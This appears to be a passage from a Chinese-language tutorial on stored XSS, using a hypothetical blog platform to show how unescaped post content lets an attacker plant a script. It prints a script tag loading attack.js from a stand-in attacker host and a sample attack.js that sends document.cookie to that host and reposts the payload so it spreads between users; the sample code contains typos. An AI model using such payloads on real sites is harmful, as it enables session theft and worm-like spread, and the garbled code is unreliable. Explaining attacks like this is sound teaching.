首先,在這篇文章裏我主要介紹我所理解的XSS,並結合實例進行理解,這裏我們設定一個情景,比如說CSDN這個類似於博客的系統吧,就簡單假設一下,通過一個博客來描述XSS攻擊:
- 首先,對系統的攻擊者發現該博客系統存在漏洞,對文章進行發表的時候,服務器沒有進行轉義或對數據進行過濾;
- 攻擊者使用賬號登陸博客系統,對文章進行編輯,輸入正常文字,但是在文章末端加入惡意代碼:
<script type='text/javascript' src='http://www.attack.com/attack.js'><script>
- 由於服務器沒有過濾機制,所以生成正常文章;
- 攻擊者將這篇文章的地址發送到各大論壇,或者將文章地址發送給別人;
- 毫無察覺的人打開這篇文章,瀏覽器就會執行文章末端的惡意代碼,下載並執行attack.js文件,在attack.js的操作下實現攻擊。
- 一般來說attack.js對瀏覽器的攻擊是獲取瀏覽器上存的cookie信息以及執行操作,attack.js一般可以如下這樣寫;
<script type="text/javascript">
$(function(){
var cookie = encodeURIComponent(document.cookie)
$('<img scr = "http://www.attack.com/attack.php?cookie='+ cookie +'">').appendTo($(document.body))
var content = "<src "+" ipt type = 'text/javascript' src = 'http://www.attack.com/attack.js'></scr"+"ipt>"
$post("http://wwww.example.com/sendArticle.php", {content:content},function(result){});
})
</script>
在上面代碼會有兩種攻擊效果:
- 將www.example.com主機下的所有cookie信息發送給攻擊者;
- 以正常用戶的身份生成一篇文章,文章之中同樣包含攻擊代碼,這樣擴展了攻擊的範圍和廣度;